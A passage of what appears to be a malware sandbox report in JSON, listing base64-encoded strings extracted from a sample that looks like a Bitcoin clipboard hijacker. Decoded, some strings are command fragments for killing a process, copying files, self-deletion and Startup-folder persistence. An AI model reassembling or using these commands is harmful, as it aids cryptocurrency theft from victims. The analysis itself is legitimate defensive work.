Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"P19fX19fPz9fX3EwXz9fX18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"P19fX0w/X19fX18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"P19KX19fX19fX19fXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"W0ooOVtaKk1new==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"XCBcIiZlY2hvLj4+Ig==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCBcbXNjci5leGUiJmV4aXQm","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCBcbXNjci5leGUiJnRpbWVvdXQgL3QgMSAvbm9icmVhaz5udWwmZGVsICI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCBcdXBkYXRlIDopIiZ0YXNra2lsbCAvZiAvaW0gbXNjci5leGUmY29weSAi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCImc3RhcnQgXCJcIiBcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCJcIiZleGl0JlwiXCJcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFxcIiZlY2hvLj4+XCI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFxtc2NyLmV4ZVwiJmV4aXQm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFxtc2NyLmV4ZVwiJnRpbWVvdXQgL3QgMSAvbm9icmVhaz5udWwmZGVsIFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFx1cGRhdGUgOilcIiZ0YXNra2lsbCAvZiAvaW0gbXNjci5leGUmY29weSBcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFxzdGFydHVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFx1cGRhdGUgOilcIiZlY2hvLj4+XCI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XHVwZGF0ZSA6KSImZWNoby4+PiI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFVzZXJzXFBTUFVCV1MxQXBwRGF0YVxMMGNhbFxUZW1wXF9ha3VwbDQzMTY3Mw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"XyxfX19fX19fX18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_7.png","compromised":null,"detection_total":null,"total":null},{"value":"XzA/X19fX19xX18/X19fX19fXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X1wwX19fSnd8bmxkX29tX3NsY25tSF8=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X18sX19fX19fXzBMX19fX19fX18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X18wX19fX19fZV8wTF8w","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X19fX19fX19fX0AwX19fXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X19fX19fX19fX19f","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X0NvckV4ZU1haW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"X3I/bT9fP18/X0o/Xz9fX19xXz9fXyxtX18/P19tdW4/P19fP192X19fXyxfLF8=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTQtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTUtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRkVHJ1c3QgQUIxJjAk","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"QWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"QWRkVHJ1c3QgRXh0ZXJuYWwgVFRQIE5ldHdvcmsxIjA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbGljYXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHkgVmVyc2lvbg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlDb21wYW55QXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlQcm9kdWN0QXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0RldGVjdA==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Qml0Y29pbi5leGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QlRDX0FERFJFU1M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QlRDX2RlZmF1bHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QlRDX3Nob3J0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxkb2N1bWVudHNcdmlzdWFsIHN0dWRpbyAyMDE3XFByb2plY3RzXEJpdGNvaW5cQml0Y29pblxvYmpcUmVsZWFzZVxCaXRjb2luLnBkYg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q2xpcGJvYXJk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Y2xpcGJvYXJk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q09NT0RPIENBIExpbWl0ZWQxKzAp","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"Q09NT0RPIENBIExpbWl0ZWQxODA2","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFueU5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29tVmlzaWJsZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29uc29sZVRyYWNpbmdNYXNr","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29weXJpZ2h0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29ycG9yYXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwxRFlIZCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwzTVJZSyoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw4UkxTQioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw5M01KTioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBQVNCZCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBSkhkcSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxCZEFMUyoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxkcUFZSCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxKTjkzQSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxLOFJSWSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxMU0JkUioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxNUk45MyoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxuQmRBQSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxOZHFBSioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxxQUpOOSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSTFlLOCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSWUs4TSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxTSzhSTCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZOTNNUioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZSGRxRCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRGlyZWN0b3J5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlT2JKZWN0","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"RGVidWdnYWJsZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RGVidWdnaW5nTW9kZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RGlyZWN0b3J5SW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RG9tYWluIENvbnRyb2wgVmFsaWRhdGVkMSEw","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"RG93bmxvYWRGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RWh0dHA6Ly9jcmwuY29tb2RvY2E0LmNvbS9DT01PRE9SU0FEb21haW5WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EyLmNybDA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":64},{"value":"RWh0dHA6Ly9jcnQuY29tb2RvY2E0LmNvbS9DT01PRE9SU0FEb21haW5WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EyLmNydDAl","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":65},{"value":"RW5hYmxlQ29uc29sZVRyYWNpbmc=","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlRmlsZVRyYWNpbmc=","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW51bWVyYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RW52aXJvbm1lbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RVJST1I6IFRoZSByZW1vdGUgcHJvY2VkdXJlIGNhbGwgZmFpbGVkLg==","type":"Unicode","source":"Runtime Data","process":"taskkill.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZUF0dHJpYnV0ZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZURlc2NyaXB0aW9u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZURpcmVjdG9yeQ==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVRyYWNpbmdNYXNr","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZmluZENsb3NlQWRkcmVzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0RheU9mWWVhcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0V4ZWN1dGFibGVQYXRo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0xlbmd0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0xvY2F0aW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X05ld0xpbmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1N0YXJ0SW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1RpY2tz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1VzZXJEb21haW5OYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1VzZXJOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0QWRkcmVzc0xpc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGlyZWN0b3JpZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RW50cnlBc3NlbWJseQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZU5hbWVXaXRob3V0RXh0ZW5zaW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Rm9sZGVyUGF0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0T2xkU2hvcnRCVEM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY2Vzc2VzQnlOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGVtcFBhdGg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R3JlYXRlciBNYW5jaGVzdGVyMQ==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"R3VpZEF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File 